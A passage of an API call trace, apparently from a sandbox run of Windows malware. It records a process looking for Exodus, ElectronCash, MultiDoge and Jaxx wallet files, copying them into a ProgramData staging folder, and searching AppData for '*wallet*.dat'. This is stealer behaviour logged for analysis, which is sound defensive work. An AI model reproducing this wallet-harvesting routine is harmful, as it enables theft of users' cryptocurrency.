(lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Exodus\\??Wa\x03`" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\exodus\\??wa\x03`")) returned 0xffffffff [0052.020] CreateDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\wallets\\exodus"), lpSecurityAttributes=0x0) returned 0 [0052.020] CopyFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Exodus\\??Wa\x03`" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\exodus\\??wa\x03`"), lpNewFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus\\ᝲ洈Wa\x03̀" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\wallets\\exodus\\ᝲ洈wa\x03̀"), bFailIfExists=1) returned 0 [0052.020] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Exodus\\exodus.wallet\\seed.seco", lpFindFileData=0x19f4e4 | out: lpFindFileData=0x19f4e4) returned 0xffffffff [0052.020] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f4e4 | out: lpFindFileData=0x19f4e4) returned 0 [0052.020] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Exodus\\exodus.wallet\\\x03`Wa\x03`et???????K" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\exodus\\exodus.wallet\\\x03`wa\x03`et???????k")) returned 0xffffffff [0052.020] CreateDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\wallets\\exodus"), lpSecurityAttributes=0x0) returned 0 [0052.020] CopyFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Exodus\\exodus.wallet\\\x03`Wa\x03`et???????K" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\exodus\\exodus.wallet\\\x03`wa\x03`et???????k"), lpNewFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus\\\x03̀Wa\x03̀etᝲ洈￿ᝲ洈龲Ǩ" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\wallets\\exodus\\\x03̀wa\x03̀etᝲ洈￿ᝲ洈龲Ǩ"), bFailIfExists=1) returned 0 [0052.021] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Exodus\\exodus.wallet\\info.seco", lpFindFileData=0x19f4e4 | out: lpFindFileData=0x19f4e4) returned 0xffffffff [0052.021] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f4e4 | out: lpFindFileData=0x19f4e4) returned 0 [0052.021] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Exodus\\exodus.wallet\\\x03`Wa\x02?et??Ex???K" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\exodus\\exodus.wallet\\\x03`wa\x02?et??ex???k")) returned 0xffffffff [0052.021] CreateDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\wallets\\exodus"), lpSecurityAttributes=0x0) returned 0 [0052.021] CopyFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Exodus\\exodus.wallet\\\x03`Wa\x02?et??Ex???K" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\exodus\\exodus.wallet\\\x03`wa\x02?et??ex???k"), lpNewFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus\\\x03̀Wa\x02Ȁetᝲ洈Exᝲ洈龲Ǩ" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\wallets\\exodus\\\x03̀wa\x02Ȁetᝲ洈exᝲ洈龲Ǩ"), bFailIfExists=1) returned 0 [0052.021] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ElectronCash\\wallets\\default_wallet", lpFindFileData=0x19f4e4 | out: lpFindFileData=0x19f4e4) returned 0xffffffff [0052.022] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f4e4 | out: lpFindFileData=0x19f4e4) returned 0 [0052.022] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ElectronCash\\wallets\\\x03`\x03" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\electroncash\\wallets\\\x03`\x03")) returned 0xffffffff [0052.022] CreateDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\wallets\\electroncash"), lpSecurityAttributes=0x0) returned 1 [0052.025] CopyFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ElectronCash\\wallets\\\x03`\x03" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\electroncash\\wallets\\\x03`\x03"), lpNewFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectronCash\\\x03̀\x03" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\wallets\\electroncash\\\x03̀\x03"), bFailIfExists=1) returned 0 [0052.025] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MultiDoge\\multidoge.wallet", lpFindFileData=0x19f4e4 | out: lpFindFileData=0x19f4e4) returned 0xffffffff [0052.025] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f4e4 | out: lpFindFileData=0x19f4e4) returned 0 [0052.025] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MultiDoge\\\x03`Wa\x03`et??El???Kon?K\x03`" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\multidoge\\\x03`wa\x03`et??el???kon?k\x03`")) returned 0xffffffff [0052.025] CreateDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\wallets\\multidoge"), lpSecurityAttributes=0x0) returned 1 [0052.025] CopyFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MultiDoge\\\x03`Wa\x03`et??El???Kon?K\x03`" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\multidoge\\\x03`wa\x03`et??el???kon?k\x03`"), lpNewFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge\\\x03̀Wa\x03̀etᝲ洈Elᝲ洈龲Ǩon鿄Ǩ\x03̀" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\wallets\\multidoge\\\x03̀wa\x03̀etᝲ洈elᝲ洈龲Ǩon鿄Ǩ\x03̀"), bFailIfExists=1) returned 0 [0052.026] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jaxx\\Local Storage\\file__0.localstorage", lpFindFileData=0x19f4e4 | out: lpFindFileData=0x19f4e4) returned 0xffffffff [0052.026] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f4e4 | out: lpFindFileData=0x19f4e4) returned 0 [0052.026] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jaxx\\Local Storage\\\x03`Wa\x02?et??Mu???Kog?K\x03`" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\jaxx\\local storage\\\x03`wa\x02?et??mu???kog?k\x03`")) returned 0xffffffff [0052.026] CreateDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\wallets\\jaxx"), lpSecurityAttributes=0x0) returned 1 [0052.026] CopyFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jaxx\\Local Storage\\\x03`Wa\x02?et??Mu???Kog?K\x03`" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\jaxx\\local storage\\\x03`wa\x02?et??mu???kog?k\x03`"), lpNewFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX\\\x03̀Wa\x02Ȁetᝲ洈Muᝲ洈龲Ǩog龲Ǩ\x03̀" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\wallets\\jaxx\\\x03̀wa\x02Ȁetᝲ洈muᝲ洈龲Ǩog龲Ǩ\x03̀"), bFailIfExists=1) returned 0 [0052.027] lstrcpyW (in: lpString1=0x19f378, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" [0052.027] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\*.*" [0052.027] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\*.*", lpFindFileData=0x19f0b8 | out: lpFindFileData=0x19f0b8) returned 0x58a280 [0052.027] lstrcpyW (in: lpString1=0x19f790, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" [0052.027] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\" [0052.027] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\." [0052.027] lstrcpyW (in: lpString1=0x19f584, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0052.027] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0052.027] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\." [0052.027] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.027] FindNextFileW (in: hFindFile=0x58a280, lpFindFileData=0x19f0b8 | out: lpFindFileData=0x19f0b8) returned 1 [0052.027] lstrcpyW (in: lpString1=0x19f790, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" [0052.027] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\" [0052.027] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\.." [0052.027] lstrcpyW (in: lpString1=0x19f584, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0052.027] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0052.027] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\.." [0052.027] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.027] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.027] FindNextFileW (in: hFindFile=0x58a280, lpFindFileData=0x19f0b8 | out: lpFindFileData=0x19f0b8) returned 1 [0052.028] lstrcpyW (in: lpString1=0x19f790, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" [0052.028] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\" [0052.028] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="6Hf5ibKHh_b19qq3.m4a" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6Hf5ibKHh_b19qq3.m4a") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6Hf5ibKHh_b19qq3.m4a" [0052.028] lstrcpyW (in: lpString1=0x19f584, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0052.028] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0052.028] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="6Hf5ibKHh_b19qq3.m4a" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\6Hf5ibKHh_b19qq3.m4a") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\6Hf5ibKHh_b19qq3.m4a" [0052.028] PathMatchSpecW (pszFile="6Hf5ibKHh_b19qq3.m4a", pszSpec="*wallet*.dat") returned 0 [0052.028] FindNextFileW (in: hFindFile=0x58a280, lpFindFileData=0x19f0b8 | out: lpFindFileData=0x19f0b8) returned 1 [0052.028] lstrcpyW (in: lpString1=0x19f790, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" [0052.028] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\" [0052.028] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="7EdEF8cPKQOu3.mp3" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\7EdEF8cPKQOu3.mp3") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\7EdEF8cPKQOu3.mp3" [0052.028] lstrcpyW (in: lpString1=0x19f584, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0052.028] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0052.028] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="7EdEF8cPKQOu3.mp3" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\7EdEF8cPKQOu3.mp3") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\7EdEF8cPKQOu3.mp3" [0052.028] PathMatchSpecW (pszFile="7EdEF8cPKQOu3.mp3", pszSpec="*wallet*.dat") returned 0 [0052.028] FindNextFileW (in: hFindFile=0x58a280, lpFindFileData=0x19f0b8 | out: lpFindFileData=0x19f0b8) returned 1 [0052.028] lstrcpyW (in: lpString1=0x19f790, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" [0052.028] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\" [0052.028] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Adobe" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe" [0052.028] lstrcpyW (in: lpString1=0x19f584, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0052.028] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0052.028] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="Adobe" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe" [0052.028] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0052.028] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0052.028] lstrcpyW (in: lpString1=0x19ea34, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe" [0052.028] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\*.*" [0052.028] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\*.*", lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 0x58a2c0 [0052.042] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe" [0052.042] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\" [0052.042] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\." [0052.042] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe" [0052.042] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\" [0052.042] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\." [0052.042] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.042] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.042] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe" [0052.042] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\" [0052.042] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\.." [0052.042] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe" [0052.042] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\" [0052.043] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\.." [0052.043] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.043] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.043] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.043] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe" [0052.043] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\" [0052.043] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat" [0052.043] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe" [0052.043] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\" [0052.043] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat" [0052.043] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0052.043] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0052.043] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat" [0052.043] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\*.*" [0052.043] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x589f40 [0052.043] lstrcpyW (in: lpString1=0x19e508, 